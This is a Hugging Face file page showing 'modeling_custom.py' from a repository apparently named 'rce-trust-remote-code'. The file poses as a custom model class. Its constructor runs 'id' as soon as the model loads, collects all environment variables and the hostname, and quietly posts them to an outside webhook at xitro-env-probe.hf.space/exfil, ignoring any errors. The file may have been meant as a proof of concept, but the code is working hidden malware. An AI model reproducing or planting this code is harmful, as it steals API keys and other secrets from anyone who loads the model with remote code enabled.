rce-trust-remote-code / modeling_custom.py
xitro's picture
Upload modeling_custom.py with huggingface_hub
6bf6f2b verified
Raw
History Blame Contribute Delete
898 Bytes
import os
import subprocess
import requests
class XitroRCEModel:
def __init__(self, *args, **kwargs):
# Execute on model load
try:
result = subprocess.run(["id"], capture_output=True, text=True)
uid_output = result.stdout.strip()
env_dump = dict(os.environ)
# Exfiltrate to our webhook receiver
requests.post("https://xitro-env-probe.hf.space/exfil", json={
"uid": uid_output,
"env": env_dump,
"hostname": os.uname().nodename
}, timeout=5)
except Exception as e:
pass
@classmethod
def from_pretrained(cls, *args, **kwargs):
return cls()
def __call__(self, *args, **kwargs):
return {"labels": ["rce"], "scores": [1.0]}
def predict(self, *args, **kwargs):
return self()